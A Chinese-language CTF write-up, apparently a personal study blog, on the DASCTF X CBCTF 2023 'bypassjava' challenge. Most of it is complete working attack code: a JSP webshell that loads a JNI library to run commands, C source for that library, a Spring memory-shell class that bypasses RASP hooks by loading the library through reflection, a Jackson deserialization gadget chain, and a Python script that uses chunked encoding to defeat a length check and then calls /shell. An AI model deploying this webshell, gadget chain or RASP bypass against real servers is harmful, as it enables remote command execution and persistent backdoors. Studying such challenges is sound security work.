gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so Rce.c
小细节
注意想要在别的地方使用这个cmd.dll时,要保证Cmdclass这个类的包名要和当时生成cmd.dll的一样
不能在别的包下复制粘贴个内容一摸一样的Cmdclass,这样也是行不通的
举个例子
我的cmd.dll是由com.javasec
包下的文件一步步生成的
若我在另外一个包下复制粘贴Cmdclass的内容,看看是什么情况
package Rome; //只是package不一样
public class Cmdclass{
public native String execCmd(String cmd);
}
import
原来包下的Cmdclass是可以的
所以关键的就是Cmdclass的包名要和当初生成cmd.dll
的一样
JSP shell (不重要,实战把so文件写入服务器的)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
/**
* JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
* 只有一个public static native String exec(String cmd);的方法
*/
private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
};
/**
* 获取JNI链接库目录
* @return 返回缓存JNI的临时目录
*/
File getTempJNILibFile() {
File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
if (!jniDir.exists()) {
jniDir.mkdir();
}
String filename;
if (isWin()) {
filename = "cmd.dll";
} else {
if (isMac()) {
filename = "libcmd.lib";
} else {
filename = "libcmd.so";
}
}
return new File(jniDir, filename);
}
boolean isWin() {
return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
}
boolean isWin32() {
return "32".equals(System.getProperty("sun.arch.data.model"));
}
boolean isMac() {
return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
}
/**
* 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
* 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
* @param str
* @return
*/
byte[] base64Decode(String str) {
try {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
} catch (Exception e) {
return null;
}
}
/**
* 写JNI链接库文件
* @param base64 JNI动态库Base64
* @return 返回是否写入成功
*/
void writeJNILibFile(String base64) throws IOException {
if (base64 != null) {
File jniFile = getTempJNILibFile();
if (!jniFile.exists()) {
byte[] bytes = base64Decode(base64);
if (bytes != null) {
FileOutputStream fos = new FileOutputStream(jniFile);
fos.write(bytes);
fos.flush();
fos.close();
}
}
}
}
%>
<%
String cmd = request.getParameter("cmd");
String jniBytes = request.getParameter("jni");
String COMMAND_JNI_FILE_BYTES;
if (isWin()) {
if (isWin32()) {
// windows 32
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
} else {
// windows 64
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
}
} else {
if (isMac()) {
// mac
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
} else {
// centos 7 64
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
}
}
// JNI路径
File jniFile = getTempJNILibFile();
ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
if (loader == null) {
loader = new ClassLoader(this.getClass().getClassLoader()) {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
return super.findClass(name);
} catch (ClassNotFoundException e) {
return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
}
}
};
writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
application.setAttribute("__LOADER__", loader);
}
try {
// load命令执行类
Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
Object loadLib = application.getAttribute("__LOAD_LIB__");
if (loadLib == null || !((Boolean) loadLib)) {
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, commandClass, jniFile);
application.setAttribute("__LOAD_LIB__", true);
}
String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
out.println("<pre>");
out.println(content);
out.println("</pre>");
} catch (Exception e) {
out.println(e.toString());
throw e;
}
%>
load_library.jsp
默认提供了一个MacOSX
的JNI
库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp
,编译方式参考后面的JNI
章节。load_library.jsp
接收两个参数:cmd
和jni
,参数描述:
cmd
需要执行的本地命令jni
动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))
),jni
参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES
变量,jni
参数只需要传一次,第二次请求不需要带上。
DASCTF X CBCTF 2023 bypassjava
前面用到chunked
编码绕过getContentlength
(Boogipop大佬的图)
也就看个过程,本地调试调不了一点,根本不会啊,有没有人教我
看一下pankas师傅也就是出题人,说的追溯调用栈、追溯源码
在调用栈的开头java.lang.Thread的run启动后,过几个调用栈就会看到进入org.apache.coyote.http11.Http11Processor
的prepareInputFilters
查看请求头中有没有transfer-encoding
然后在addInputFilter
中匹配chunked
,但没看懂他匹配成功后干了啥
退出addInputFilter
后,prepareInputFilters
继续往下会调用getContentLengthLong
this.contentLength
为-1,进入else的逻辑,判断请求头中有没有content-length
,没有返回-1
因为getContentLengthLong
返回-1,所以进入if语句,又因为addInputFilter
中设置contentDelimitation
为true
,所以设置/read
这个request
的ContentLength
为-1
到了后面doFilter
然后getContentLength
的时候调用的getContentLengthLong
因为this.contentLength
为-1,进入else的逻辑,最后获取的length
是-1
(是(int)length
为-1,而不是不满足判断条件才为-1),
出题人发包的图(但是不是说Transfer-Encoding和Content-Length不是不能同时出现吗。。。不懂)
注意chunked
编码的格式
JNI绕过RASP
查看rasp的jar包发现不仅hook了forkAndExec
,还hook了 loadLibrary0
我们通过分析System.load
方法,会发现比loadLibrary0
还要底层的是NativeLibrary
的load
方法,我们反射调用它即可绕过
package jackson;
public class Cmdclass{
public native String execCmd(String cmd);
}
javac .\Cmdclass.java
javac -cp . .\Cmdclass.java -h jackson.Cmdclass
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class jackson_Cmdclass */
#ifndef _Included_jackson_Cmdclass
#define _Included_jackson_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: jackson_Cmdclass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
参照头文件写恶意c文件,包含头文件
#include "jackson_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execCmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execCmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
将该so文件base64编码放到java代码中方便加载
package jackson;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.Base64;
public class GetJNIBase64 {
public static void main(String[] args) {
try {
RandomAccessFile r = new RandomAccessFile("C:\\Users\\86136\\Desktop\\fsdownload\\libcmd.so", "r");
byte[] content = new byte[(int) r.length()];
r.read(content);
String s = Base64.getEncoder().encodeToString(content);
System.out.println(s);
r.close();
} catch (Exception e){
e.printStackTrace();
}
}
}
利用 TemplateImpl 来执行java代码,这里和内存马直接就放一起了
注意!!!这个内存马的包名和上面我们的cmdClass必须全部对应,否则就会报错(Boogipop大佬是这样说的) (跟我上面说的包名一致好像差不多)
package jackson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class Cmdclass extends AbstractTranslet{
public static native String execCmd(String cmd);
//恶意动态链接库文件的base64编码
private static final String EVIL_JNI_BASE64 = ".......";
private static final String LIB_PATH = "/tmp/libcmd.so";
static {
try {
byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
ClassLoader cmdLoader = Cmdclass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(Cmdclass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Cmdclass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
Cmdclass springControllerMemShell = new Cmdclass();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String execRes = Cmdclass.execCmd(cmd);
response.getWriter().write(execRes);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
jackson记得老规矩重写BaseJsonNode
删掉writeReplace
方法
package jackson;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
Templates templatesimpl = new TemplatesImpl();
byte[] bytecodes = Repository.lookupClass(Cmdclass.class).getBytes();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
//
//
POJONode jsonNodes = new POJONode(templatesimpl);
//
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
setValue(exp,"val",jsonNodes);
System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
import requests
#结尾无 /
baseUrl = "http://xxx.xxx.xxx.xxx"
burp0_url = baseUrl + "/read"
burp0_headers = {"Transfer-Encoding": "chunked", "Content-Type": "text/plain", "Connection": "close"}
payload = """........"""
hex_string = hex(len(payload))[2:]
hex_string = str(hex_string)
burp0_data = f"{hex_string}\r\n{payload}\r\n0\r\n\r\n" #chunked编码格式
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)
res = requests.get(baseUrl + "/shell?cmd=/readflag")
print(res.text)
见证历史性的一刻,嘻嘻,真的看了好久了(快十几天了,断断续续的),终于成功了
DASCTFXCBCTF_2023_bypassJava_Wp (pankas.top)
总结
值得一提的是这篇文章的题都是用jackson打的,在写这一篇时终于会利用Jackson了,并且完善了jackson那篇文章
rasp也是多学到了一个知识点
但是也不是什么都懂了,有关代码具体部分要我写我肯定是写不出来的,只能算多学一个知识点
这样不行啊,还是得向Boogipop大佬学习尽快学完javaweb、webmvc、servlet等等,不然内存马也学不了一点
reference
https://dummykitty.github.io/posts/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP
https://pankas.top/2023/10/22/dasctfxcbctf-2023-bypassjava-wp/